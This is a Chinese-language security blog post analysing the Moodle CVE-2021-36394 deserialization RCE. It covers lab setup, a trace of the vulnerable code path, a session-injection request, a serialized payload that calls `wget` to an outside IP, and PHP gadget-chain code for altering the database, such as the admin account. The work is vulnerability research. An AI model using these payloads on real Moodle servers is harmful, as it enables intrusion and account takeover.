<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用鏈構造之旅

    VSole2021-10-10 23:01:28

    漏洞概述

    2021年7月19日,Moodle官方通報了CVE-2021-36394漏洞信息,當Shibboleth認證模塊開啟時,Moodle v3.11及之前版本可無條件RCE。

    官方漏洞通報
    https://moodle.org/mod/forum/discuss.php?d=424799

    環境搭建

    0x01 系統安裝

    基于Ubuntu v20.04安裝v3.9.7版本。安裝 `apache + mysql + php`:

    sudo apt-get updatesudo apt install apache2 mysql-client mysql-server php libapache2-mod-phpsudo apt install graphviz aspell ghostscript clamav php7.4-pspell php7.4-curl php7.4-gd php7.4-intl php7.4-mysql php7.4-xml php7.4-xmlrpc php7.4-ldap php7.4-zip php7.4-soap php7.4-mbstring php7.4-mysqlisystemctl restart apache2
    

    配置moodle系統:

    unzip moodle-3.9.7.zipsudo cp -R moodle /var/www/html/sudo mkdir /var/moodledatasudo chown -R www-data /var/moodledatasudo chmod -R 777 /var/moodledatasudo chmod -R 0755 /var/www/html/moodle
    

    配置數據庫:

    CREATE DATABASE moodle DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;create user 'moodledude'@'localhost' IDENTIFIED BY '***';GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,CREATE TEMPORARY TABLES,DROP,INDEX,ALTER ON moodle.* TO 'moodledude'@'localhost';flush privileges;
    

    瀏覽器安裝:

    配置數據庫:

    配置config.php文件:

    繼續配置頁面:

    安裝完成后頁面:

    0x02 PHPSTORM調試

    在ubuntu上安裝`Phpstorm + xdebug`進行本地調試,也可以選擇遠程調試,編譯php7.4版本下的xdebug,首先從xdebug官網下載3.0.4版本:

    sudo -s apt-get install php7.4-dev make autoconftar -xzvf xdebug-3.0.4.tgzcd xdebug-3.0.4phpize7.4./configuremakecp libs/xdebug.so /usr/lib/php/20190902/xdebug.so
    

    配置php.ini xdebug配置,目錄為`/etc/php/7.4/apache2/conf.d/20-xdebug.ini`:

    zend_extension=xdebug.soxdebug.mode=debugxdebug.log=/tmp/xdebug.logxdebug.start_with_request=default|defaultxdebug.client_port=9003xdebug.client_host=127.0.0.1xdebug.remote_handler=dbgpxdebug.idekey=PHPSTORMxdebug.cli_color=2xdebug.var_display_max_depth=15xdebug.var_display_max_data=2048xdebug.client_host=127.0.0.1
    

    配置phpstorm xdebug端口:


    開啟phpstorm監聽:


    安裝firefox xdebug插件:

    PHP調試成功:

    漏洞分析

    補丁對比:


    漏洞需啟用moodle頁面:

    0x01 調用過程分析

    `/auth/shibboleth/logout.php`首先檢查shiboleth是否開啟:


    注冊監聽方法:

    在`LogoutNotification`中調用`logout_file_session`函數:

    在`logout_file_session`中調用`unserializesession`:


    最后執行`unserialize`函數:

    0x02 `unserialize`分析

    `/auth/shibboleth/logout.php`請求為soap格式:

    用WSDL工具生成合法的soap請求:

    構造soap請求,執行到反序列化流程,執行到`unserializesession`函數:


    分析`unserializesession`函數:

    • 使用`preg_spit`函數按照|切分輸入字符串,并賦值;
    • `serialized`為反序列化后的內容,根據php序列化規則可知字符串用雙引號閉合;
    • 如果字符串中包括|,根據|切分規則導致`unserialize`問題。


    截取到的`seaializedString`字符串,需要尋找可控的變量。刪除`/var/www/moodledata/sessions`下所有session。獲取一個新的cookie。

    發送`logout.php`請求。

    在反序列化處下斷點,內容正好是`/var/www/moodledata/sessions/sess_2m3ft4k2fnuafi3c3ir79l5i7g`文件內容。


    經過分析發現`grade/report/grader/index.php`支持session內容注入。注入Referer字段,由clean_param過濾結果。

    共有兩處設置SESSION的位置,`get_local_refer`有特殊字符過濾。


    使用正則表達式匹配Referer字段。

    ^((http://)|(https://)|(ftp://))?(([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;&=+$,])+(:([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;:&=+$,])+){0}@){0}((((((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))\.){3}((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))))|(([a-zA-Z0-9](([a-zA-Z0-9-]{0,62})[a-zA-Z0-9])?\.)*([a-zA-Z](([a-zA-Z0-9-]*)[a-zA-Z0-9])?)))?(:(([0-5]?[0-9]{1,4})|(6[0-4][0-9]{3})|(65[0-4][0-9]{2})|(655[0-2][0-9])|(6553[0-5])))?(/((;)?([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[:@&=+$,])+(/)?)*)?(\?([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?(\#([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?$
    

    0x03 寫入特殊字符

    全文搜索`SESSION->(.*?) =`正則表達式,定位可寫入SESSION的位置,發現`grader/index.php`可寫入變量,且`sifirst`和`silast`參數過濾類型為`PARAM_NOTAGS`。


    構造測試報文。

    POST /moodle/grade/report/grader/index.php HTTP/1.1Host: ***User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: MoodleSession=0brdqm753n29k6mppdtkp1ocld; XDEBUG_SESSION=XDEBUG_ECLIPSESOAPAction: "urn:xmethods-logout-notification#LogoutNotification"Content-Length: 37Content-Type: application/x-www-form-urlencoded
    id=1&page=1&edit=0&sifirst=abc123"'abc'
    

    捕獲斷點,該接口無需認證也能訪問。


    最后檢查session會話文件,其中包含單雙引號。


    另外的一個點,`/mod/data/view.php`,有可能同樣可以繞過,需要先構造測試數據(但需要登錄)。


    現在可以控制`unserialize`函數的輸入參數,實現RCE還需要尋找一條利用鏈。

    反序列化利用鏈構造

    0x01 CVE-2018-14630調試

    先調試下歷史漏洞CVE-2018-14630:

    Remote Code Execution Via PHP Unserialize In Moodle (Cve-2018-14630)
    https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-php-unserialize-moodle-open-source-learning-platform-cve-2018-14630/


    參考上一章中的示例報文,排除錯誤,進一步進行修改。

    id=1&page=1&edit=0&sifirst="}}FEEDBACK|O:15:"\core\lock\lock":2:{s:3:"key";O:23:"\core_availability\tree":1:{s:8:"children";O:24:"\core\dml\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:37:"echo `wget http://192.168.1.241:8000`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}TEST|O:2:"xx":2:{s:2:"id
    


    進入`lib/classes/component.php的classloader`函數。

    第一步:從`self::classmap`和`self::classmaprenames`中匹配輸入的`className`輸入,使用白名單方式。


    第二步:調用`psr_classloader`函數,解析成功后直接文件包含,同樣使用白名單方式。


    `CVE-2018-14630`反序列化利用鏈中已不包含`question_attemp_iterator`,解析失敗后HTTP報文返回。

    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Serverfaultcode><faultstring>core\dml\recordset_walk::valid(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "question_attempt_iterator" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definitionfaultstring>SOAP-ENV:Fault>SOAP-ENV:Body>SOAP-ENV:Envelope>
    


    對比3.9.7和3.9.8版本補丁,修補后只允許stdClass函數。


    `recordset_walk`中包含危險函數調用。

    0x02 新鏈尋找之旅

    梳理下尋找過程,從以下條件出發:

    1. 從反序列化魔法函數入手,由于`logout_file_session`函數傳入字符沒有進行字符串操作,因此不用尋找包含`__tostring()`函數的類。
    2. Moodle默認從`/*/classes/*/`中讀取類,因此文件需在class文件夾中。
    3. 能夠調用或文件包含`/*/classes/*/`的其他類,如`include`、`require`。
    4. 根據以上條件,優先從`__deconstruct`函數入手。


    優先找到了lock類,其析構函數包含字符串處理代碼。在lock構造函數中設置caller。


    接下來繼續尋找第二部分,猜測`$this->caller`指向利用鏈的第二部分,繼續在代碼中搜索包含`__tostring()`的類。參考CVE-2017-2641利用鏈構造。

    /lib/grade/grade_grade.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_grade.php ->>調用->> \grade_grade)
    /lib/grade/grade_item.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_item.php ->>調用->> \grade_item
    

    最終的利用鏈形式,可實現修改數據庫。

    $add_lib = new \core_analytics\course();$lib_fb = new \core\lock\lock();$lib_fb -> key = new \core_availability\tree();$lib_fb -> key -> children = new \core\dml\recordset_walk();$lib_fb -> key -> children -> callback = "var_dump";$lib_fb -> key -> children -> recordset = "123";$lib_fb -> released = false;
    $base = new gradereport_overview_external();$fb = new gradereport_singleview\local\ui\feedback();$fb -> grade = new grade_grade();$fb -> grade -> grade_item = new grade_item();$fb -> grade -> grade_item -> calculation = "[[somestring";$fb -> grade -> grade_item -> calculation_normalized = false;$fb -> grade -> grade_item -> table = $table;$fb -> grade -> grade_item -> id = $rowId;$fb -> grade -> grade_item -> $column = $value;$fb -> grade -> grade_item -> required_fields = array($column,'id');
    $lib_fb -> caller = $fb;$arr = array($add_lib, $lib_fb,$base);
    //serializing the array$value = serialize($arr);
    

    系統安裝后默認包含一個管理用戶,默認用戶名為admin,可修改用戶名。

    至此,反序列化利用鏈尋找之旅暫告一段落。

    phpmoodle
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用鏈構造之旅。
    之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈: 最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。
    360漏洞云監測到Moodle課程管理系統存在代碼注入漏洞(CVE-2021-36394)。
    DeepExploit 是一種基于強化學習的自動化滲透框架,號稱能夠進行高效滲透,本文對該工具進行了分析并給出改進方向 本部分對DE(將DeepExploit簡稱為DE)利用到的核心工具做簡單介紹,分為metasploit介紹和強化學習算法介紹,均為入門介紹,熟悉的讀者可自行忽略。
    被動式安全掃描器
    2023-12-01 07:22:21
    被動式安全掃描器
    php反序列化初探
    2023-04-23 09:50:02
    php中的反序列化漏洞通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。執行eval方法需要調用action()方法,action()方法的調用可以再ClassA的__destruct中調用
    文章首發在:奇安信攻防社區https://forum.butian.net/share/2142前言 如果存
    unserialize()函數能夠重新把字符串變回php原來的值。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。將對象格式化成有序的字符串。序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    php后門隱藏技巧大全
    2022-08-06 08:54:35
    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。 其實隱藏的技巧也有很多
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类